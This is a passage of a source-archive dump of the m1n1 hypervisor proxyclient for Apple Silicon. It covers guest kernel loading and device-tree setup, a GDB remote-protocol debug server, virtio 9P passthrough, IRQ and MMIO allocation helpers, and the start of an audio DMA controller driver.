self.p.read64(node.cpu_impl_reg[0]) & 0xfffffffffff index = node.cpu_id self.log(f" CPU #{index}: RVBAR = {entry:#x}") self.sysreg[index] = {} self.started_cpus[index] = (die, cluster, cpu) self.p.hv_start_secondary(index, entry) def setup_adt(self): self.adt["product"].product_name += " on m1n1 hypervisor" self.adt["product"].product_description += " on m1n1 hypervisor" soc_name = "Virtual " + self.adt["product"].product_soc_name + " on m1n1 hypervisor" self.adt["product"].product_soc_name = soc_name if self.iodev >= IODEV.USB0: idx = self.iodev - IODEV.USB0 for prefix in ("/arm-io/dart-usb%d", "/arm-io/atc-phy%d", "/arm-io/usb-drd%d", "/arm-io/acio%d", "/arm-io/acio-cpu%d", "/arm-io/dart-acio%d", "/arm-io/apciec%d", "/arm-io/dart-apciec%d", "/arm-io/apciec%d-piodma", "/arm-io/i2c0/hpmBusManager/hpm%d", "/arm-io/atc%d-dpxbar", "/arm-io/atc%d-dpphy", "/arm-io/atc%d-dpin0", "/arm-io/atc%d-dpin1", "/arm-io/atc-phy%d", ): name = prefix % idx print(f"Removing ADT node {name}") try: del self.adt[name] except KeyError: pass if self.wdt_cpu is not None: name = f"/cpus/cpu{self.wdt_cpu}" print(f"Removing ADT node {name}") try: del self.adt[name] except KeyError: pass if not self.smp: for cpu in list(self.adt["cpus"]): if cpu.name != "cpu0": print(f"Removing ADT node {cpu._path}") try: del self.adt["cpus"][cpu.name] except KeyError: pass def set_bootargs(self, boot_args): if "-v" in boot_args.split(): self.tba.video.display = 0 else: self.tba.video.display = 1 print(f"Setting boot arguments to {boot_args!r}") self.tba.cmdline = boot_args def unmap_carveouts(self): print(f"Unmapping TZ carveouts...") carveout_p = self.p.mcc_get_carveouts() while True: base = self.p.read64(carveout_p) size = self.p.read64(carveout_p + 8) if not base: break print(f" Unmap [{base:#x}..{base + size - 1:#x}]") self.del_tracer(irange(base, size), "RAM-LOW") self.del_tracer(irange(base, size), "RAM-HIGH") carveout_p += 16 def enable_time_stealing(self): self.p.hv_set_time_stealing(True) def disable_time_stealing(self): self.p.hv_set_time_stealing(False) def load_raw(self, image, entryoffset=0x800, use_xnu_symbols=False, vmin=0): sepfw_start, sepfw_length = self.u.adt["chosen"]["memory-map"].SEPFW tc_start, tc_size = self.u.adt["chosen"]["memory-map"].TrustCache if hasattr(self.u.adt["chosen"]["memory-map"], "preoslog"): preoslog_start, preoslog_size = self.u.adt["chosen"]["memory-map"].preoslog else: preoslog_size = 0 image_size = align(len(image)) sepfw_off = image_size image_size += align(sepfw_length) preoslog_off = image_size image_size += preoslog_size self.bootargs_off = image_size bootargs_size = 0x4000 image_size += bootargs_size print(f"Total region size: 0x{image_size:x} bytes") self.phys_base = phys_base = guest_base = self.u.heap_top self.ram_base = self.phys_base & ~0xffffffff self.ram_size = self.u.ba.mem_size_actual guest_base += 16 << 20 # ensure guest starts within a 16MB aligned region of mapped RAM self.adt_base = guest_base guest_base += align(self.u.ba.devtree_size) tc_base = guest_base guest_base += align(tc_size) self.guest_base = guest_base mem_top = self.u.ba.phys_base + self.u.ba.mem_size mem_size = mem_top - phys_base print(f"Physical memory: 0x{phys_base:x} .. 0x{mem_top:x}") print(f"Guest region start: 0x{guest_base:x}") self.entry = guest_base + entryoffset print(f"Mapping guest physical memory...") self.add_tracer(irange(self.ram_base, self.u.ba.phys_base - self.ram_base), "RAM-LOW", TraceMode.OFF) self.add_tracer(irange(phys_base, self.u.ba.mem_size_actual - phys_base + self.ram_base), "RAM-HIGH", TraceMode.OFF) self.unmap_carveouts() print(f"Loading kernel image (0x{len(image):x} bytes)...") self.u.compressed_writemem(guest_base, image, True) self.p.dc_cvau(guest_base, len(image)) self.p.ic_ivau(guest_base, len(image)) print(f"Copying SEPFW (0x{sepfw_length:x} bytes)...") self.p.memcpy8(guest_base + sepfw_off, sepfw_start, sepfw_length) print(f"Copying TrustCache (0x{tc_size:x} bytes)...") self.p.memcpy8(tc_base, tc_start, tc_size) if hasattr(self.u.adt["chosen"]["memory-map"], "preoslog"): print(f"Copying preoslog (0x{preoslog_size:x} bytes)...") self.p.memcpy8(guest_base + preoslog_off, preoslog_start, preoslog_size) print(f"Adjusting addresses in ADT...") self.adt["chosen"]["memory-map"].SEPFW = (guest_base + sepfw_off, sepfw_length) self.adt["chosen"]["memory-map"].TrustCache = (tc_base, tc_size) self.adt["chosen"]["memory-map"].DeviceTree = (self.adt_base, align(self.u.ba.devtree_size)) self.adt["chosen"]["memory-map"].BootArgs = (guest_base + self.bootargs_off, bootargs_size) if hasattr(self.u.adt["chosen"]["memory-map"], "preoslog"): self.adt["chosen"]["memory-map"].preoslog = (guest_base + preoslog_off, preoslog_size) if hasattr(self.u.adt["chosen"]["memory-map"], "Kernel_mach__header"): self.adt["chosen"]["memory-map"].Kernel_mach__header = (guest_base, 0) for name in ("mtp", "aop"): if name in self.adt["/arm-io"]: iop = self.adt[f"/arm-io/{name}"] nub = self.adt[f"/arm-io/{name}/iop-{name}-nub"] if iop.segment_names.endswith(";__OS_LOG"): iop.segment_names = iop.segment_names[:-9] nub.segment_names = nub.segment_names[:-9] iop.segment_ranges = iop.segment_ranges[:-32] nub.segment_ranges = nub.segment_ranges[:-32] print(f"Setting up bootargs at 0x{guest_base + self.bootargs_off:x}...") self.tba.mem_size = mem_size self.tba.phys_base = phys_base self.tba.virt_base = 0xfffffe0010000000 + (phys_base & (32 * 1024 * 1024 - 1)) self.tba.devtree = self.adt_base - phys_base + self.tba.virt_base self.tba.top_of_kernel_data = guest_base + image_size if use_xnu_symbols == True: self.sym_offset = vmin - guest_base + self.tba.phys_base - self.tba.virt_base self.iface.writemem(guest_base + self.bootargs_off, BootArgs.build(self.tba)) print("Setting secondary CPU RVBARs...") rvbar = self.entry & ~0xfff for cpu in self.adt["cpus"][1:]: addr, size = cpu.cpu_impl_reg print(f" {cpu.name}: [0x{addr:x}] = 0x{rvbar:x}") self.p.write64(addr, rvbar) def _load_macho_symbols(self): self.symbol_dict = self.macho.symbols self.symbols = [(v, k) for k, v in self.macho.symbols.items()] self.symbols.sort() def load_macho(self, data, symfile=None): if isinstance(data, str): data = open(data, "rb") self.xnu_mode = True self.macho = macho = MachO(data) if symfile is not None: if isinstance(symfile, str): symfile = open(symfile, "rb") syms = MachO(symfile) macho.add_symbols("com.apple.kernel", syms) self._load_macho_symbols() def load_hook(data, segname, size, fileoff, dest): if segname != "__TEXT_EXEC": return data print(f"Patching segment {segname}...") a = array.array("I", data) output = [] p = 0 while (p := data.find(b"\x20\x00", p)) != -1: if (p & 3) != 2: p += 1 continue opcode = a[p // 4] inst = self.hvc((opcode & 0xffff)) off = fileoff + (p & ~3) if off >= 0xbfcfc0: print(f" 0x{off:x}: 0x{opcode:04x} -> hvc 0x{opcode:x} (0x{inst:x})") a[p // 4] = inst p += 4 print("Done.") return a.tobytes() #image = macho.prepare_image(load_hook) image = macho.prepare_image() self.load_raw(image, entryoffset=(macho.entry - macho.vmin), use_xnu_symbols=self.xnu_mode and symfile is not None, vmin=macho.vmin) def update_pac_mask(self): tcr = TCR(self.u.mrs(TCR_EL12)) valid_bits = (1 << (64 - tcr.T1SZ)) - 1 self.pac_mask = 0xffffffffffffffff & ~valid_bits valid_bits = (1 << (64 - tcr.T0SZ)) - 1 self.user_pac_mask = 0xffffffffffffffff & ~valid_bits def unpac(self, v): if v & (1 << 55): return v | self.pac_mask else: return v & ~self.user_pac_mask def load_system_map(self, path): # Assume Linux self.sym_offset = 0 self.xnu_mode = False self.symbols = [] self.symbol_dict = {} with open(path) as fd: for line in fd.readlines(): addr, t, name = line.split() addr = int(addr, 16) self.symbols.append((addr, name)) self.symbol_dict[name] = addr self.symbols.sort() def add_kext_symbols(self, kext, demangle=False): info_plist = plistlib.load(open(f"{kext}/Contents/Info.plist", "rb")) identifier = info_plist["CFBundleIdentifier"] name = info_plist["CFBundleName"] macho = MachO(open(f"{kext}/Contents/MacOS/{name}", "rb")) self.macho.add_symbols(identifier, macho, demangle=demangle) self._load_macho_symbols() def _handle_sigint(self, signal=None, stack=None): self._sigint_pending = True self.interrupt() def interrupt(self): if self._in_handler: return # Kick the proxy to break out of the hypervisor self.iface.dev.write(b"!") def run_script(self, path): new_locals = runpy.run_path(path, init_globals=self.shell_locals, run_name="") self.shell_locals.clear() self.shell_locals.update(new_locals) def run_code(self, code): exec(code, self.shell_locals) def start(self): print("Disabling other iodevs...") for iodev in IODEV: if iodev != self.iodev: print(f" - {iodev!s}") self.p.iodev_set_usage(iodev, 0) print("Doing essential MMIO remaps...") self.map_essential() print("Updating page tables...") self.pt_update() adt_blob = self.adt.build() print(f"Uploading ADT (0x{len(adt_blob):x} bytes)...") self.iface.writemem(self.adt_base, adt_blob) print("Improving logo...") self.p.fb_improve_logo() print("Shutting down framebuffer...") self.p.fb_shutdown(True) print("Enabling SPRR...") self.u.msr(SPRR_CONFIG_EL1, 1) print("Enabling GXF...") self.u.msr(GXF_CONFIG_EL1, 1) print(f"Jumping to entrypoint at 0x{self.entry:x}") self.iface.dev.timeout = None self.default_sigint = signal.signal(signal.SIGINT, self._handle_sigint) set_sigquit_stackdump_handler() if self.wdt_cpu is not None: self.p.hv_wdt_start(self.wdt_cpu) # Does not return self.started = True self.started_cpus[0] = (0, 0, 0) self.p.hv_start(self.entry, self.guest_base + self.bootargs_off) from .. import trace m1n1-1.4.11/proxyclient/m1n1/hv/gdbserver/000077500000000000000000000000001453754430200201155ustar00rootroot00000000000000m1n1-1.4.11/proxyclient/m1n1/hv/gdbserver/__init__.py000066400000000000000000000410111453754430200222230ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import errno, io, os, pkgutil, re, selectors, socketserver, threading, traceback from construct import Array, BytesInteger, Container, Int32ul, Int64ul, Struct from ...proxy import * from ...sysreg import * from ...utils import * from ..types import * __all__ = ["GDBServer"] class GDBServer: __g = Struct( "regs" / Array(32, Int64ul), "pc" / Int64ul, "spsr" / Int32ul, "q" / Array(32, BytesInteger(16, swapped=True)), "fpsr" / Int32ul, "fpcr" / Int32ul, ) __separator = re.compile("[,;:]") def __init__(self, hv, address, log): self.__hc = None self.__hg = None self.__hv = hv self.__interrupt_eventfd = os.eventfd(0, flags=os.EFD_CLOEXEC | os.EFD_NONBLOCK) self.__interrupt_selector = selectors.DefaultSelector() self.__request = None self.log = log self.__interrupt_selector.register(self.__interrupt_eventfd, selectors.EVENT_READ) handle = self.__handle class Handler(socketserver.BaseRequestHandler): def handle(self): handle(self.request) self.__server = socketserver.UnixStreamServer(address, Handler, False) self.__thread = threading.Thread(target=self.__server.serve_forever,) def __add_wp(self, addr, kind, lsc): start = addr & 7 if start + kind > 8: return b"E01" self.__hv.add_hw_wp(addr & ~7, ((1 << kind) - 1) << start, lsc) return b"OK" def __remove_wp(self, addr): self.__hv.remove_hw_wp(addr & ~7) return b"OK" def __cpu(self, cpu): if cpu is None: return self.__hv.cpu(cpu) def __stop_reply(self): self.__hc = None self.__hg = None prefix = b"T05thread:" if self.__hv.exc_reason == START.EXCEPTION_LOWER: if self.__hv.exc_code == EXC.SYNC: if self.__hv.ctx.esr.EC == ESR_EC.BKPT_LOWER: prefix = b"T05hwbreak:;thread:" elif self.__hv.ctx.esr.EC == ESR_EC.WATCH_LOWER: bas = self.__hv.get_wp_bas(self.__hv.ctx.far) if not bas is None and bas != 0: offset = 0 while (bas & (1 << offset)) == 0: offset += 1 addr = self.__hv.ctx.far + offset formatted_addr = bytes(format(addr, "x"), "utf-8") prefix = b"T05watch:" + formatted_addr + b";thread:" elif self.__hv.exc_reason == START.HV: if self.__hv.exc_code == HV_EVENT.USER_INTERRUPT: prefix = b"T02thread:" return prefix + bytes(format(self.__hv.ctx.cpu_id, "x"), "utf-8") + b";" def __wait_shell(self): try: os.eventfd_read(self.__interrupt_eventfd) except BlockingIOError: pass while not self.__interrupt_eventfd in (key.fileobj for key, mask in self.__interrupt_selector.select()): recv = self.__request.recv(1) if not recv: break for byte in recv: if byte in b"\1\3": self.__hv.interrupt() break def __eval(self, data): if self.log: self.log(f"eval: {data}") if len(data) < 1: return b"" if data[0] in b"?": return self.__stop_reply() if data[0] in b"c": if len(data) != 1: self.__cpu(self.__hc) self.__hv.ctx.elr = int(data[1:].decode(), 16) self.__hv.cont() self.__wait_shell() return self.__stop_reply() if data[0] in b"g": self.__cpu(self.__hg) g = Container() g.regs = self.__hv.ctx.regs.copy() g.regs[31] = self.__hv.ctx.sp[1] g.pc = self.__hv.ctx.elr g.spsr = self.__hv.ctx.spsr.value g.q = self.__hv.u.q g.fpsr = self.__hv.u.mrs(FPSR) g.fpcr = self.__hv.u.mrs(FPCR) return bytes(GDBServer.__g.build(g).hex(), "utf-8") if data[0] in b"G": g = GDBServer.__g.parse(bytes.fromhex(data[1:].decode())) self.__cpu(self.__hg) for index in range(31): self.__hv.ctx.regs[index] = g.regs[index] self.__hv.ctx.sp[1] = g.regs[31] self.__hv.ctx.elr = g.pc self.__hv.ctx.spsr = g.spsr.value q = self.__hv.u.q for index, value in enumerate(g.q): q[index] = value self.__hv.u.push_simd() self.__hv.u.msr(FPSR, g.fpsr, silent=True) self.__hv.u.msr(FPCR, g.fpsr, silent=True) return b"OK" if data[0] in b"H": if len(data) > 1: if data[1] in b"c": cpu_id = int(data[2:].decode(), 16) if cpu_id in self.__hv.started_cpus: self.__hc = cpu_id return b"OK" return b"E01" if data[1] in b"g": cpu_id = int(data[2:].decode(), 16) if cpu_id in self.__hv.started_cpus: self.__hg = cpu_id return b"OK" return b"E01" return b"" if data[0] in b"krR": self.__hv.reboot() if data[0] in b"m": split = GDBServer.__separator.split(data[1:].decode(), maxsplit=1) fields = [int(field, 16) for field in split] return bytes(self.__hv.readmem(fields[0], fields[1]).hex(), "utf-8") if data[0] in b"M": split = GDBServer.__separator.split(data[1:].decode(), maxsplit=2) mem = bytes.fromhex(split[2])[:int(split[1], 16)] if self.__hv.writemem(int(split[0], 16), mem) < len(mem): return "E22" return b"OK" if data[0] in b"p": number = int(data[1:].decode(), 16) self.__cpu(self.__hg) if number < 31: reg = GDBServer.__g.regs.subcon.subcon.build(self.__hv.ctx.regs[number]) elif number == 31: reg = GDBServer.__g.regs.subcon.subcon.build(self.__hv.ctx.sp[1]) elif number == 32: reg = GDBServer.__g.pc.build(self.__hv.ctx.elr) elif number == 33: reg = GDBServer.__g.spsr.build(self.__hv.ctx.spsr.value) elif number < 66: reg = GDBServer.__g.q.subcon.subcon.build(self.__hv.u.q[number - 34]) elif number == 66: reg = GDBServer.__g.fpsr.build(self.__hv.u.mrs(FPSR)) elif number == 67: reg = GDBServer.__g.fpcr.build(self.__hv.u.mrs(FPCR)) else: return b"E01" return bytes(reg.hex(), "utf-8") if data[0] in b"P": partition = data[1:].partition(b"=") number = int(partition[0].decode(), 16) reg = bytes.fromhex(partition[2].decode()) self.__cpu(self.__hg) if number < 31: self.__hv.ctx.regs[number] = GDBServer.__g.regs.subcon.subcon.unpack(reg) elif number == 31: self.__hv.ctx.regs[1] = GDBServer.__g.regs.subcon.subcon.unpack(reg) elif number == 32: self.__hv.ctx.elr = GDBServer.__g.pc.parse(reg) elif number == 33: self.__hv.ctx.spsr.value = GDBServer.__g.spsr.parse(reg) elif number < 66: self.__hv.u.q[number - 34] = GDBServer.__g.q.subcon.subcon.parse(reg) self.__hv.u.push_simd() elif number == 66: self.__hv.u.msr(FPSR, GDBServer.__g.fpsr.parse(reg), silent=True) elif number == 67: self.__hv.u.msr(FPCR, GDBServer.__g.fpcr.parse(reg), silent=True) else: return b"E01" return b"OK" if data[0] in b"q": split = GDBServer.__separator.split(data[1:].decode(), maxsplit=1) if split[0] == "C": cpu_id = self.__hg or self.__hv.ctx.cpu_id return b"QC" + bytes(format(cpu_id, "x"), "utf-8") if split[0] == "fThreadInfo": cpu_ids = b",".join(bytes(format(cpu.cpu_id, "x"), "utf-8") for cpu in self.__hv.adt["cpus"]) return b"m" + cpu_ids if split[0] == "sThreadInfo": return b"l" if split[0] == "Rcmd": self.__cpu(self.__hg) self.__hv.run_code(split[1]) return b"OK" if split[0] == "Supported": return b"PacketSize=65536;qXfer:features:read+;hwbreak+" if split[0] == "ThreadExtraInfo": thread_id = int(split[1], 16) for node in self.__hv.adt["cpus"]: if node.cpu_id == thread_id: return bytes(bytes(str(node), "utf-8").hex(), "utf-8") return b"" if split[0] == "Xfer": xfer = GDBServer.__separator.split(split[1], maxsplit=4) if xfer[0] == "features" and xfer[1] == "read": resource = os.path.join("features", xfer[2]) annex = pkgutil.get_data(__name__, resource) if annex is None: return b"E00" request_offset = int(xfer[3], 16) request_len = int(xfer[4], 16) read = annex[request_offset:request_offset + request_len] return (b"l" if len(read) < request_len else b"m") + read return b"" if split[0] == "HostInfo": addressing_bits = bytes(str(64 - self.__hv.pac_mask.bit_count()), "utf-8") return b"cputype:16777228;cpusubtype:2;endian:little;ptrsize:64;watchpoint_exceptions_received:before;addressing_bits:" + addressing_bits + b";" return b"" if data[0] in b"s": self.__cpu(self.__hc) if len(data) != 1: self.__hv.ctx.elr = int(data[1:].decode(), 16) self.__hv.step() return self.__stop_reply() if data[0] in b"T": if int(data[1:].decode(), 16) in self.__hv.started_cpus: return b"OK" return b"E01" if data[0] in b"X": partition = data[1:].partition(b":") split = GDBServer.__separator.split(partition[0].decode(), maxsplit=1) mem = partition[2][:int(split[1], 16)] if self.__hv.writemem(int(split[0], 16), mem) < len(mem): return b"E22" return b"OK" if data[0] in b"z": split = GDBServer.__separator.split(data[1:].decode(), maxsplit=2) if split[0] == "1": self.__hv.remove_hw_bp(int(split[1], 16)) return b"OK" if split[0] == "2": return self.__remove_wp(int(split[1], 16)) if split[0] == "3": return self.__remove_wp(int(split[1], 16)) if split[0] == "4": return self.__remove_wp(int(split[1], 16)) return b"" if data[0] in b"Z": split = GDBServer.__separator.split(data[1:].decode(), maxsplit=2) if split[0] == "1": self.__hv.add_hw_bp(int(split[1], 16)) return b"OK" if split[0] == "2": addr = int(split[1], 16) kind = int(split[2], 16) return self.__add_wp(addr, kind, DBGWCR_LSC.S) if split[0] == "3": addr = int(split[1], 16) kind = int(split[2], 16) return self.__add_wp(addr, kind, DBGWCR_LSC.L) if split[0] == "4": addr = int(split[1], 16) kind = int(split[2], 16) return self.__add_wp(addr, kind, DBGWCR_LSC.S | DBGWCR_LSC.L) return b"" return b"" def __send(self, prefix, data): with io.BytesIO(prefix) as buffer: buffer.write(prefix) last = 0 for index, byte in enumerate(data): if not byte in b"#$}*": continue buffer.write(data[last:index]) buffer.write(b"}") buffer.write(bytes([byte ^ 0x20])) last = index + 1 buffer.write(data[last:]) checksum = (sum(buffer.getvalue()) - sum(prefix)) % 256 buffer.write(b"#") buffer.write(bytes(format(checksum, "02x"), "utf-8")) value = buffer.getvalue() if self.log: self.log(f"send: {value}") self.__request.send(value) def __handle(self, request): self.__request = request input_buffer = b"" if not self.__hv.in_shell: self.__hv.interrupt() self.__wait_shell() self.__interrupt_selector.register(self.__request, selectors.EVENT_READ) try: while True: recv = self.__request.recv(65536) if not recv: break input_buffer += recv while True: dollar = input_buffer.find(b"$") if dollar < 0: input_buffer = b"" break sharp = input_buffer.find(b"#", dollar) if sharp < 0 or len(input_buffer) < sharp + 3: input_buffer = input_buffer[dollar:] break input_data = input_buffer[dollar + 1:sharp] input_checksum = input_buffer[sharp + 1:sharp + 3] input_buffer = input_buffer[sharp + 3:] try: parsed_input_checksum = int(input_checksum.decode(), 16) except ValueError as error: print(error) continue if (sum(input_data) % 256) != parsed_input_checksum: self.__request.send(b"-") continue self.__request.send(b"+") with io.BytesIO() as input_decoded: input_index = 0 input_last = 0 while input_index < len(input_data): if input_data[input_index] == b"*": input_decoded.write(input_data[input_last:input_index]) instance = input_decoded.getvalue()[-1] input_index += 1 input_run_len = input_data[input_index] - 29 input_run = bytes([instance]) * input_run_len input_decoded.write(input_run) input_index += 1 input_last = input_index elif input_data[input_index] == b"}": input_decoded.write(input_data[input_last:input_index]) input_index += 1 input_decoded.write(bytes([input_data[input_index] ^ 0x20])) input_index += 1 input_last = input_index else: input_index += 1 input_decoded.write(input_data[input_last:]) try: output_decoded = self.__eval(input_decoded.getvalue()) except Exception: output_decoded = b"E." + bytes(traceback.format_exc(), "utf-8") self.__send(b"$", output_decoded) finally: self.__interrupt_selector.unregister(self.__request) def notify_in_shell(self): os.eventfd_write(self.__interrupt_eventfd, 1) def activate(self): try: self.__server.server_bind() except OSError as error: if error.errno != errno.EADDRINUSE: raise os.remove(self.__server.server_address) self.__server.server_bind() self.__server.server_activate() self.__thread.start() def shutdown(self): os.close(self.__interrupt_eventfd) self.__interrupt_selector.close() self.__server.shutdown() self.__server.server_close() self.__thread.join() m1n1-1.4.11/proxyclient/m1n1/hv/gdbserver/features/000077500000000000000000000000001453754430200217335ustar00rootroot00000000000000m1n1-1.4.11/proxyclient/m1n1/hv/gdbserver/features/aarch64-core.xml000066400000000000000000000057751453754430200246510ustar00rootroot00000000000000 m1n1-1.4.11/proxyclient/m1n1/hv/gdbserver/features/aarch64-fpu.xml000066400000000000000000000155111453754430200245000ustar00rootroot00000000000000 m1n1-1.4.11/proxyclient/m1n1/hv/gdbserver/features/target.xml000066400000000000000000000003771453754430200237520ustar00rootroot00000000000000 aarch64 m1n1-1.4.11/proxyclient/m1n1/hv/types.py000066400000000000000000000021121453754430200176440ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from construct import * from enum import IntEnum from ..utils import * __all__ = [ "MMIOTraceFlags", "EvtMMIOTrace", "EvtIRQTrace", "HV_EVENT", "VMProxyHookData", "TraceMode", ] class MMIOTraceFlags(Register32): ATTR = 31, 24 CPU = 23, 16 SH = 15, 14 WIDTH = 4, 0 WRITE = 5 MULTI = 6 EvtMMIOTrace = Struct( "flags" / RegAdapter(MMIOTraceFlags), "reserved" / Int32ul, "pc" / Hex(Int64ul), "addr" / Hex(Int64ul), "data" / Hex(Int64ul), ) EvtIRQTrace = Struct( "flags" / Int32ul, "type" / Hex(Int16ul), "num" / Int16ul, ) class HV_EVENT(IntEnum): HOOK_VM = 1 VTIMER = 2 USER_INTERRUPT = 3 WDT_BARK = 4 CPU_SWITCH = 5 VIRTIO = 6 PANIC = 7 VMProxyHookData = Struct( "flags" / RegAdapter(MMIOTraceFlags), "id" / Int32ul, "addr" / Hex(Int64ul), "data" / Array(8, Hex(Int64ul)), ) class TraceMode(IntEnum): ''' Different types of Tracing ''' OFF = 0 BYPASS = 1 ASYNC = 2 UNBUF = 3 WSYNC = 4 SYNC = 5 HOOK = 6 RESERVED = 7 m1n1-1.4.11/proxyclient/m1n1/hv/virtio.py000066400000000000000000000060601453754430200200220ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from construct import Struct, Int8ul, Int16ul, Int32sl, Int32ul, Int64ul from subprocess import Popen, PIPE import pathlib import struct import os import sys from ..utils import * VirtioConfig = Struct( "irq" / Int32sl, "devid" / Int32ul, "feats" / Int64ul, "num_qus" / Int32ul, "data" / Int64ul, "data_len" / Int64ul, "verbose" / Int8ul, ) class VirtioDescFlags(Register16): WRITE = 1 NEXT = 0 VirtioDesc = Struct( "addr" / Int64ul, "len" / Int32ul, "flags" / RegAdapter(VirtioDescFlags), "next" / Int16ul, ) VirtioExcInfo = Struct( "devbase" / Int64ul, "qu" / Int16ul, "idx" / Int16ul, "pad" / Int32ul, "descbase" / Int64ul, ) class VirtioDev: def __init__(self): self.base, self.hv = None, None # assigned by HV object def read_buf(self, desc): return self.hv.iface.readmem(desc.addr, desc.len) def read_desc(self, ctx, idx): off = VirtioDesc.sizeof() * idx return self.hv.iface.readstruct(ctx.descbase + off, VirtioDesc) @property def config_data(self): return b"" @property def devid(self): return 0 @property def num_qus(self): return 1 @property def feats(self): return 0 class Virtio9PTransport(VirtioDev): def __init__(self, tag="m1n1", root=None): p_stdin, self.fin = os.pipe() self.fout, p_stdout = os.pipe() if root is None: root = str(pathlib.Path(__file__).resolve().parents[3]) if type(tag) is str: self.tag = tag.encode("ascii") else: self.tag = tag self.p = Popen([ "u9fs", "-a", "none", # no auth "-n", # not a network conn "-u", os.getlogin(), # single user root, ], stdin=p_stdin, stdout=p_stdout, stderr=sys.stderr) @property def config_data(self): return struct.pack("=H", len(self.tag)) + self.tag @property def devid(self): return 9 @property def num_qus(self): return 1 @property def feats(self): return 1 def call(self, req): os.write(self.fin, req) resp = os.read(self.fout, 4) length = int.from_bytes(resp, byteorder="little") resp += os.read(self.fout, length - 4) return resp def handle_exc(self, ctx): head = self.read_desc(ctx, ctx.idx) assert not head.flags.WRITE req = bytearray() while not head.flags.WRITE: req += self.read_buf(head) if not head.flags.NEXT: break head = self.read_desc(ctx, head.next) resp = self.call(bytes(req)) resplen = len(resp) while len(resp): self.hv.iface.writemem(head.addr, resp[:head.len]) resp = resp[head.len:] if not head.flags.NEXT: break head = self.read_desc(ctx, head.next) self.hv.p.virtio_put_buffer(ctx.devbase, ctx.qu, ctx.idx, resplen) return True m1n1-1.4.11/proxyclient/m1n1/hv/virtutils.py000066400000000000000000000022471453754430200205560ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from m1n1.utils import align_up def collect_aic_irqs_in_use(adt): used = set() aic_phandle = getattr(adt["/arm-io/aic"], "AAPL,phandle") for node in adt.walk_tree(): if not hasattr(node, "interrupt_parent") or \ node.interrupt_parent != aic_phandle: continue for no in node.interrupts: used.add(no) return used def usable_aic_irq_range(adt): # These are too optimistic but since we allocate # from the bottom of the range it doesn't matter much. return { "aic,1": range(0, 0x400), "aic,2": range(0, 0x1000), }.get(adt["/arm-io/aic"].compatible[0]) def alloc_aic_irq(adt): used = collect_aic_irqs_in_use(adt) for no in usable_aic_irq_range(adt): if no not in used: return no return None def usable_mmio_range(adt): arm_io_range = adt["arm-io"].ranges[0] return range(arm_io_range.parent_addr, arm_io_range.parent_addr + arm_io_range.size) def alloc_mmio_base(adt, size, alignment=0x4000): span = usable_mmio_range(adt) la = adt.build_addr_lookup() for zone, devs in la.populate(span): if len(devs) != 0: continue base = align_up(zone.start, alignment) if zone.stop > base + size: return base return None m1n1-1.4.11/proxyclient/m1n1/hw/000077500000000000000000000000001453754430200161335ustar00rootroot00000000000000m1n1-1.4.11/proxyclient/m1n1/hw/admac.py000066400000000000000000000301141453754430200175510ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import sys, time from enum import IntEnum from ..utils import * __all__ = ["ADMACRegs", "ADMAC", "E_BUSWIDTH", "E_FRAME"] class R_RING(Register32): # overflow/underflow counter OF_UF = 31, 16 # goes through 0, 1, 2, 3 as the pieces of a report/descriptor # are being read/written through REPORT_READ/DESC_WRITE READOUT_PROGRESS = 13, 12 # when READ_SLOT==WRITE_SLOT one of the two is set EMPTY = 8 FULL = 9 ERR = 10 # next slot to read READ_SLOT = 5, 4 # next slot to be written to WRITE_SLOT = 1, 0 class R_CHAN_STATUS(Register32): # only raised if the descriptor had NOTIFY set DESC_DONE = 0 DESC_RING_EMPTY = 4 REPORT_RING_FULL = 5 # cleared by writing ERR=1 either to TX_DESC_RING or TX_REPORT_RING RING_ERR = 6 UNK0 = 1 UNK3 = 8 UNK4 = 9 UNK5 = 10 class R_CHAN_CONTROL(Register32): RESET_RINGS = 0 CLEAR_OF_UF_COUNTERS = 1 UNK1 = 3 class E_BUSWIDTH(IntEnum): W_8BIT = 0 W_16BIT = 1 W_32BIT = 2 class E_FRAME(IntEnum): F_1_WORD = 0 F_2_WORDS = 1 F_4_WORDS = 2 class R_BUSWIDTH(Register32): WORD = 2, 0, E_BUSWIDTH FRAME = 6, 4, E_FRAME class R_CARVEOUT(Register32): SIZE = 31, 16 BASE = 15, 0 class ADMACRegs(RegMap): TX_EN = 0x0, Register32 # one bit per channel TX_EN_CLR = 0x4, Register32 RX_EN = 0x8, Register32 RX_EN_CLR = 0xc, Register32 UNK_CTL = 0x10, Register32 # each of the four registers represents an internal interrupt line, # bits represent DMA channels which at the moment raise that particular line # # the irq-destination-index prop in ADT maybe selects the line which # is actually wired out # TX_INTSTATE = irange(0x30, 4, 0x4), Register32 RX_INTSTATE = irange(0x40, 4, 0x4), Register32 # a 24 MHz always-running counter, top bit is always set COUNTER = 0x70, Register64 TX_SRAM_SIZE = 0x94, Register32 RX_SRAM_SIZE = 0x98, Register32 # -- per-channel registers -- CHAN_CTL = (irange(0x8000, 32, 0x200)), R_CHAN_CONTROL CHAN_BUSWIDTH = (irange(0x8040, 32, 0x200)), R_BUSWIDTH CHAN_SRAM_CARVEOUT = (irange(0x8050, 32, 0x200)), R_CARVEOUT CHAN_BURSTSIZE = (irange(0x8054, 32, 0x200)), Register32 CHAN_RESIDUE = irange(0x8064, 32, 0x200), Register32 CHAN_DESC_RING = irange(0x8070, 32, 0x200), R_RING CHAN_REPORT_RING = irange(0x8074, 32, 0x200), R_RING TX_DESC_WRITE = irange(0x10000, 16, 4), Register32 TX_REPORT_READ = irange(0x10100, 16, 4), Register32 RX_DESC_WRITE = irange(0x14000, 16, 4), Register32 RX_REPORT_READ = irange(0x14100, 16, 4), Register32 # per-channel, per-internal-line CHAN_STATUS = (irange(0x8010, 32, 0x200), irange(0x0, 4, 0x4)), R_CHAN_STATUS CHAN_INTMASK = (irange(0x8020, 32, 0x200), irange(0x0, 4, 0x4)), R_CHAN_STATUS class ADMACDescriptorFlags(Register32): # whether to raise DESC_DONE in CHAN_STATUS NOTIFY = 16 # whether to repeat this descriptor ad infinitum # # once a descriptor with this flag is loaded, any descriptors loaded # afterwards are also repeated and nothing short of full power domain reset # seems to revoke that behaviour. this looks like a HW bug. REPEAT = 17 # arbitrary ID propagated into reports DESC_ID = 7, 0 class ADMACDescriptor(Reloadable): def __init__(self, addr, length, **flags): self.addr = addr self.length = length self.flags = ADMACDescriptorFlags(**flags) def __repr__(self): return f"" def 